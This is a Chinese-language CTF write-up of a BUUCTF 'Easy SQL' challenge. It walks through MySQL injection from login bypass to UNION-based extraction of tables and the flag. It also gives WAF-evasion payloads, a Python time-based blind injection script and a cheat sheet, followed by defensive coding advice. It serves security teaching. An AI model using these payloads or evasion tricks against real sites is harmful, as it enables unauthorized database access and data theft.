CTF Writeup | Easy SQL:从登录绕过到脱库的完整攻防实战
| 题目来源 | BUUCTF / CTF公开赛经典题 |
| 分类 | Web安全 |
| 难度 | ⭐⭐ 入门级(Easy) |
| 考点 | 字符型SQL注入、联合注入(UNION注入)、信息搜集、WAF绕过 |
| 知识储备 | SQL基础语法、MySQL系统表结构、HTTP基础、浏览器开发者工具 |
一、题目背景与初步探测
1.1 场景描述
本题提供了一个简易的管理员登录页面,页面结构非常简单:
- 一个用户名输入框
- 一个密码输入框
- 一个"登录"按钮
页面顶部有一行提示文字:"输入管理员账号密码获取权限"。
💡 在CTF比赛中,看到"管理员"、"登录"等字眼时,要立刻警觉——这往往暗示我们需要通过非正常手段获取管理员权限,而非暴力破解。
1.2 初步信息收集
首先进行基础的测试:
正常登录测试:
输入admin/123456,页面返回提示:
plaintext
9
1
2
账号或密码错误
这说明后台存在数据库查询验证逻辑,且admin这个用户名确实存在于数据库中(否则可能提示"用户不存在"以区分错误类型)。
特殊字符测试:
在用户名字段输入单引号',页面返回:
plaintext
9
1
2
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server right syntax to use near ''' AND password=...' at line 1
关键信息提取:
- 错误类型为MySQL语法错误—— 确认数据库为MySQL
- 错误信息泄露了部分SQL语句结构—— 可以看到
'后面紧跟着AND password= - 错误回显存在—— 这是一个"回显注入",我们可以直接从页面获取查询结果
1.3 推测后台SQL语句
根据错误信息和常见的登录验证逻辑,可以推测后台的SQL查询语句如下:
sql
9
1
2
3
4
SELECT * FROM users
WHERE username='[用户输入的用户名]'
AND password='[用户输入的密码]'
当用户输入admin时,实际执行的SQL为:
sql
9
1
2
3
4
SELECT * FROM users
WHERE username='admin'
AND password='123456'
当用户输入admin'时,单引号提前闭合了username字段的字符串定界符,导致SQL语法被破坏:
sql
9
1
2
3
4
SELECT * FROM users
WHERE username='admin''
AND password='123456'
这里的admin''在MySQL中是非法的语法(多了一个未转义的单引号),因此数据库抛出语法错误。
🔑核心判断:这是一个字符型注入(与数字型注入相对)。字符型注入的特点是在注入payload中需要手动闭合引号,而数字型注入不需要。区分方式:输入
'报错、输入''(即转义后的单引号)正常,则为字符型注入。
二、核心解题步骤
Step 1:登录绕过 —— 恒真条件构造
目标
在不了解正确密码的情况下,通过构造恶意输入使WHERE条件永远为真,从而以任意用户身份"登录"。
Payload
在用户名输入框中填入:
plaintext
9
1
2
admin' OR 1=1 --
原理解析
拼接后的SQL语句变为:
sql
9
1
2
3
4
SELECT * FROM users
WHERE username='admin' OR 1=1 -- '
AND password='任意内容'
逐部分分析:
表格
| 片段 | 作用 |
|---|---|
admin' | 闭合username字段的左引号 |
OR 1=1 | 添加一个恒真的条件,使整个WHERE子句始终返回 true |
-- | MySQL单行注释符(注意末尾需要加空格),将后面的密码验证部分注释掉 |
WHERE子句的逻辑运算:
plaintext
9
1
2
3
4
5
6
7
username='admin' OR 1=1
↓ ↓
FALSE TRUE
\ /
\ /
OR 运算 → TRUE(恒真)
最终数据库返回users表的全部记录(或第一条匹配记录),成功绕过登录验证。
注释符说明
MySQL中可用的注释方式:
--(双横线+空格):标准SQL注释,空格不可省略#:MySQL特有的注释符,URL编码为%23/ **/:内联注释,也可用于截断后续语句
⚠️实战注意:在HTTP GET请求中,
#会被浏览器当作URL的fragment标识符,不会发送到服务端,因此需要用%23代替;而--中的空格在URL中需要编码为%20,即--+或--%20。
Step 2:探测字段数 —— ORDER BY 注入
目标
确定SELECT查询的字段数量,为后续的UNION SELECT注入做准备。
Payload
将用户名框清空,填入:
plaintext
9
1
2
' ORDER BY 3 --
页面正常返回(无报错)。
再尝试:
plaintext
9
1
2
' ORDER BY 4 --
页面报错:
plaintext
9
1
2
Unknown column '4' in 'order clause'
原理解析
ORDER BY N的含义是按第 N 个字段排序。如果查询的字段数少于 N,MySQL 会报错"Unknown column"。
由此得出结论:
表格
| ORDER BY | 结果 | 含义 |
|---|---|---|
| ORDER BY 3 | ✅ 正常 | 第3个字段存在 |
| ORDER BY 4 | ❌ 报错 | 第4个字段不存在 |
→ **查询共有 3 个字段 **。
💡
ORDER BY方法本质上是二分查找的思想。在实际比赛中,如果字段数很多,可以先用二分法定位(如先试 ORDER BY 16、32、64...),减少请求次数。也可以用UNION SELECT NULL,NULL,NULL的方式来探测,报错的字段数量不匹配时会直接提示列数不一致。
Step 3:定位回显点 —— UNION SELECT
目标
在3个字段中,找到哪些字段的值会显示在页面上(即"回显位"),后续我们将利用这些位置来输出查询结果。
Payload
plaintext
9
1
2
' UNION SELECT 1,2,3 --
原理解析
拼接后的SQL语句:
sql
9
1
2
3
4
5
SELECT * FROM users
WHERE username=''
UNION SELECT 1,2,3 -- '
AND password='...'
UNION SELECT的作用是将第二条查询的结果集合并到第一条的结果中。如果第一条查询返回空集(username=''大概率匹配不到记录),则页面只显示第二条查询的结果。
页面显示内容为:
plaintext
9
1
2
2
→ **第2个字段是回显点 **。
回显点选择策略
在3个字段中:
表格
| 字段位置 | 显示情况 | 用途 |
|---|---|---|
| 第1字段 | 未显示 | 不可用 |
| 第2字段 | 显示为 "2" | ✅主要回显点 |
| 第3字段 | 未显示 | 不可用 |
因此,后续所有通过UNION SELECT注入获取的数据,都需要放在第2个字段的位置:
plaintext
9
1
2
' UNION SELECT 1,[目标数据],3 --
🔑为什么第一个查询要返回空?如果
username=''能匹配到记录,第一条查询的结果会和UNION的结果一起显示,造成干扰。确保第一个查询为空的方法:用一个不存在的用户名(如' UNION...),或者直接让用户名框为单个引号。
Step 4:获取当前数据库名
Payload
plaintext
9
1
2
' UNION SELECT 1,database(),3 --
结果
页面返回:
plaintext
9
1
2
ctf_db
原理解析
database()是MySQL内置函数,返回当前连接的数据库名称。在CTF中,获取数据库名是信息收集的第一步,它帮助我们了解目标数据库的命名和结构。
📌常用MySQL信息收集函数一览:
表格
函数 作用 database()当前数据库名 user()/current_user()当前数据库用户 version()MySQL版本 @@datadir数据库存储目录 @@version_compile_os操作系统版本 schema()等价于 database()
Step 5:获取所有表名
Payload
plaintext
9
1
2
' UNION SELECT 1,GROUP_CONCAT(table_name),3 FROM information_schema.tables WHERE table_schema=database() --
结果
页面返回:
plaintext
9
1
2
users,flag_table
原理解析
information_schema是MySQL的"元数据库",存储了所有数据库的结构信息:
表格
| 系统表 | 存储内容 |
|---|---|
information_schema.tables | 所有数据库中的所有表名 |
information_schema.columns | 所有表中的所有列名 |
information_schema.schemata | 所有数据库名 |
关键过滤条件:
table_schema=database()—— 限定为当前数据库(ctf_db),否则会把MySQL系统表也列出来
GROUP_CONCAT()函数将多行结果合并为一行,以逗号分隔。如果不使用GROUP_CONCAT(),回显点只显示第一条记录的表名。
💡
GROUP_CONCAT()默认最大长度为 1024 字节。如果表名/列名很多,结果可能被截断。可以通过SET SESSION group_concat_max_len=100000来扩大限制,但在CTF的UNION注入中无法执行多条语句,因此通常使用LIMIT分页读取:sql
9
1
2
3
' UNION SELECT 1,table_name,3 FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1 --
' UNION SELECT 1,table_name,3 FROM information_schema.tables WHERE table_schema=database() LIMIT 1,1 --
Step 6:获取 flag_table 的列名
Payload
plaintext
9
1
2
' UNION SELECT 1,GROUP_CONCAT(column_name),3 FROM information_schema.columns WHERE table_name='flag_table' --
结果
页面返回:
plaintext
9
1
2
id,flag_content
原理解析
查询information_schema.columns,通过table_name='flag_table'过滤出目标表的所有列名。
可以看到flag_table有两个字段:
表格
| 列名 | 推测用途 |
|---|---|
id | 主键/序号 |
flag_content | 存储flag的字段 |
⚠️注意引号处理:当
table_name的值需要用字符串表示时,在UNION注入中需要注意引号的嵌套问题。外层已经有单引号闭合了username字段,这里flag_table的单引号不会冲突,因为它们处于不同的SQL字符串上下文中。
Step 7:获取 Flag
Payload
plaintext
9
1
2
' UNION SELECT 1,flag_content,3 FROM flag_table --
结果
页面返回:
plaintext
9
1
2
flag{sql_inj3ct1on_1s_easy!}
🎉恭喜!成功获取Flag!
完整攻击链路回顾
plaintext
99
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
┌─────────────────────────────────────────────────────────┐
│ 攻击链路总结 │
├─────────────────────────────────────────────────────────┤
│ │
│ 1. 输入 admin' → 发现MySQL语法错误 → 确认字符型注入 │
│ ↓ │
│ 2. admin' OR 1=1 -- → 恒真条件 → 登录绕过成功 │
│ ↓ │
│ 3. ORDER BY 3/4 → 确定查询有3个字段 │
│ ↓ │
│ 4. UNION SELECT 1,2,3 → 确定第2字段为回显点 │
│ ↓ │
│ 5. database() → 数据库名: ctf_db │
│ ↓ │
│ 6. information_schema → 表名: users, flag_table │
│ ↓ │
│ 7. information_schema → 列名: id, flag_content │
│ ↓ │
│ 8. SELECT from table → flag{sql_inj3ct1on_1s_easy!} │
│ │
└─────────────────────────────────────────────────────────┘
三、进阶技巧:WAF绕过
在实际CTF比赛和真实渗透场景中,服务端往往会部署WAF(Web Application Firewall,Web应用防火墙)来拦截常见的SQL注入payload。以下是几种常用的绕过技术:
3.1 大小写混淆
WAF通常基于关键词匹配进行检测。MySQL的SQL关键字**不区分大小写 **,但WAF可能只检测特定大小写模式。
sql
9
1
2
3
4
5
6
-- 原始payload(易被检测)
' UNION SELECT 1,database(),3 --
-- 大小写混淆后
' uNiOn SeLeCt 1,database(),3 --
3.2 内联注释(Inline Comment)
MySQL特有的内联注释语法/*!...*/中的内容会被正常执行,但很多WAF不会解析注释内的内容。
sql
9
1
2
3
4
5
6
-- 内联注释绕过
' /*!UNION*/ /*!SELECT*/ 1,database(),3 --
-- 更激进的写法:将关键字拆开
' /*!50000UNION*//*!50000SELECT*/ 1,database(),3 --
📌
/*!50000...*/中的数字是MySQL最低版本号要求,50000代表5.0.0版本以上。MySQL会执行注释中版本号满足条件的内容,而大多数WAF不会识别这种语法。
3.3 特殊字符编码
在HTTP传输层面进行编码变换:
表格
| 编码方式 | 示例 | 说明 |
|---|---|---|
| URL编码 | %27(单引号)、%20(空格) | 基础的URL编码 |
| 双重URL编码 | %2527(%27再编码一次) | 部分WAF只做一次解码 |
| Unicode编码 | %u0027(单引号) | IIS服务器常见 |
| Hex编码 | 0x61646D696E(admin) | 绕过字符串匹配 |
3.4 空白符替代
用其他空白字符替代空格:
sql
99
1
2
3
4
5
6
7
8
9
10
11
12
13
-- Tab替代
' UNION SELECT 1,database(),3 --
-- 换行符替代
'
UNION
SELECT
1,database(),3
--
-- 括号包裹(不需要空格)
'UNION(SELECT(1),database(),(3))--
3.5 时间盲注方案
当页面无任何回显(既无数据回显也无错误回显)时,可以使用**时间盲注(Time-based Blind Injection) **。
基本原理
通过条件判断语句控制数据库的响应时间:条件为真则执行SLEEP(),条件为假则立即返回。通过观察响应时间来逐位推断数据。
Payload 示例
sql
9
1
2
' AND IF(SUBSTR(database(),1,1)='c',SLEEP(5),1) --
执行逻辑
plaintext
9
1
2
3
4
5
6
IF(SUBSTR(database(),1,1)='c', SLEEP(5), 1)
↓ ↓
取数据库名第1个字符 如果等于'c',休眠5秒
↓
否则立即返回(约0秒)
通过观测响应时间:
- 响应时间 ≈ 5秒 → 条件为真 → 第1个字符是
c - 响应时间 ≈ 0秒 → 条件为假 → 第1个字符不是
c
自动化脚本思路(Python + requests)
python
99
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests
import time
url = "http://target.com/login.php"
result = ""
for i in range(1, 50): # 最多猜50个字符
for char in "abcdefghijklmnopqrstuvwxyz0123456789{}_":
payload = f"admin' AND IF(SUBSTR(database(),{i},1)='{char}',SLEEP(2),1) -- "
data = {"username": payload, "password": "anything"}
start = time.time()
requests.post(url, data=data)
elapsed = time.time() - start
if elapsed >= 2: # 响应时间≥2秒说明猜对了
result += char
print(f"[+] 第{i}位: {char} | 当前结果: {result}")
break
print(f"\n[✓] 数据库名: {result}")
🔑效率优化:实际脚本中应使用二分法而非遍历所有字符,将每位猜测次数从38次降低到约6次(log₂(38) ≈ 5.25)。可以使用
ASCII()函数配合比较运算符:sql
9
1
2
IF(ASCII(SUBSTR(database(),1,1))>109, SLEEP(2), 1)
四、知识点总结
4.1 SQL注入漏洞原理
SQL注入的本质是**代码与数据未分离 **——用户输入被直接拼接到SQL语句中,使得攻击者可以改变SQL语句的逻辑结构。
plaintext
9
1
2
3
正常意图:用户输入 = 数据(作为查询条件)
攻击意图:用户输入 = 代码(改变SQL逻辑)
4.2 SQL注入类型分类
表格
| 类型 | 判断依据 | 典型场景 |
|---|---|---|
| 字符型注入 | 输入'报错,需闭合引号 | WHERE name='[输入]' |
| 数字型注入 | 输入'不报错,输入AND 1=1有差异 | WHERE id=[输入] |
| 联合查询注入 | 页面有回显位,可用UNION SELECT | 本题场景 |
| 布尔盲注 | 页面无回显数据,但能区分真/假响应 | 登录成功/失败两种状态 |
| 时间盲注 | 页面完全无差异,只能通过响应时间判断 | IF()+SLEEP() |
| 堆叠注入 | 支持;分隔多条语句 | SQL Server、部分PHP配置 |
| 二次注入 | 恶意数据在存储时正常,在后续读取时触发 | 注册恶意用户名,后台查询时拼接 |
4.3 常用SQL注入速查表
sql
99
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
-- 判断注入类型
' -- 字符型:报错
" -- 字符型:报错
') -- 括号闭合型:报错
1 AND 1=1 -- 数字型:页面不同
-- 信息收集
database() -- 当前数据库
user() -- 当前用户
version() -- MySQL版本
@@datadir -- 数据目录
-- 联合查询
UNION SELECT 1,2,3 -- 探测回显点
UNION SELECT 1,database(),3 -- 获取数据库名
-- 脱库三板斧
-- 表名:
SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()
-- 列名:
SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='xxx'
-- 数据:
SELECT column_name FROM target_table
-- 条件判断与延时
IF(condition, true_value, false_value)
SLEEP(N)
BENCHMARK(count, expr)
五、防御建议
作为安全从业者,我们不仅要会"攻",更要会"防"。以下是针对SQL注入的系统性防御方案:
5.1 参数化查询(最根本的防御)
参数化查询(Prepared Statement)将SQL逻辑与数据彻底分离,即使用户输入包含SQL关键字,也只会被当作纯数据处理。
Java (JDBC):
java
99
1
2
3
4
5
6
7
8
9
10
11
12
// ❌ 错误做法:字符串拼接
String sql = "SELECT * FROM users WHERE username='" + username + "'";
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery(sql);
// ✅ 正确做法:参数化查询
String sql = "SELECT * FROM users WHERE username=? AND password=?";
PreparedStatement pstmt = conn.prepareStatement(sql);
pstmt.setString(1, username);
pstmt.setString(2, password);
ResultSet rs = pstmt.executeQuery();
Python (MySQL Connector):
python
9
1
2
3
4
5
6
# ❌ 错误做法
cursor.execute(f"SELECT * FROM users WHERE username='{username}'")
# ✅ 正确做法
cursor.execute("SELECT * FROM users WHERE username=%s AND password=%s", (username, password))
PHP (PDO):
php
9
1
2
3
4
5
// ✅ 正确做法
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = :username AND password = :password");
$stmt->execute(['username' => $username, 'password' => $password]);
$user = $stmt->fetch();
5.2 输入验证与过滤
python
9
1
2
3
4
5
6
7
8
import re
def validate_username(username):
"""白名单验证:只允许字母、数字、下划线"""
if not re.match(r'^[a-zA-Z0-9_]{3,20}$', username):
raise ValueError("用户名格式不合法")
return username
5.3 权限最小化原则
sql
9
1
2
3
4
5
6
7
8
-- ❌ 危险:应用程序使用root账户连接数据库
GRANT ALL PRIVILEGES ON *.* TO 'app_user'@'%';
-- ✅ 安全:只授予必要的权限
CREATE USER 'app_user'@'%' IDENTIFIED BY 'strong_password';
GRANT SELECT, INSERT ON ctf_db.users TO 'app_user'@'%';
-- 不授予 DROP, DELETE, ALTER, FILE 等高危权限
5.4 其他防御层次
表格
| 防御措施 | 说明 | 优先级 |
|---|---|---|
| 参数化查询 | 从根本上杜绝注入 | ⭐⭐⭐⭐⭐ |
| ORM框架 | 如MyBatis、SQLAlchemy,内置防注入 | ⭐⭐⭐⭐⭐ |
| WAF部署 | 作为纵深防御的一层,但不应作为唯一防线 | ⭐⭐⭐ |
| 错误处理 | 生产环境关闭详细错误回显,使用统一错误页面 | ⭐⭐⭐⭐ |
| 最小权限 | 数据库账户只授必要权限 | ⭐⭐⭐⭐ |
| 安全审计 | 定期代码审计,使用SQLMap等工具检测 | ⭐⭐⭐ |
六、参考链接
- OWASP SQL InjectionSQL Injection | OWASP Foundation
- MySQL 官方文档 - INFORMATION_SCHEMAhttps://dev.mysql.com/doc/refman/8.0/en/information-schema.html
- SQLi Cheat Sheet - Netsparkerhttps://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/
- PortSwigger Web Security Academy - SQL InjectionWhat is SQL Injection? Tutorial & Examples | Web Security Academy
- BUUCTF 在线评测平台BUUCTF在线评测
- PayloadsAllTheThings - SQL Injectionhttps://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection
- SQLMap 官方文档sqlmap — automatic SQL injection and database takeover tool
七、结语
本题虽然标记为"Easy",但它完整地展示了SQL注入攻击的核心链路:** 信息收集 → 漏洞确认 → 注入利用 → 数据提取 **。在实际的安全评估中,SQL注入依然是危害最严重的Web漏洞之一——它可能导致数据泄露、权限提升,甚至服务器被完全控制。
记住一条铁律:** 永远不要信任用户的输入**。
"There are only two types of people in this world: those who have been hacked, and those who don't know they've been hacked."
只有两种人:被黑过的,和不知道自己被黑了的。
本文仅用于CTF学习与安全技术研究,请遵守相关法律法规,切勿用于非法用途。
如果觉得本文对你有帮助,欢迎点赞、收藏、转发。有问题欢迎在评论区交流讨论!
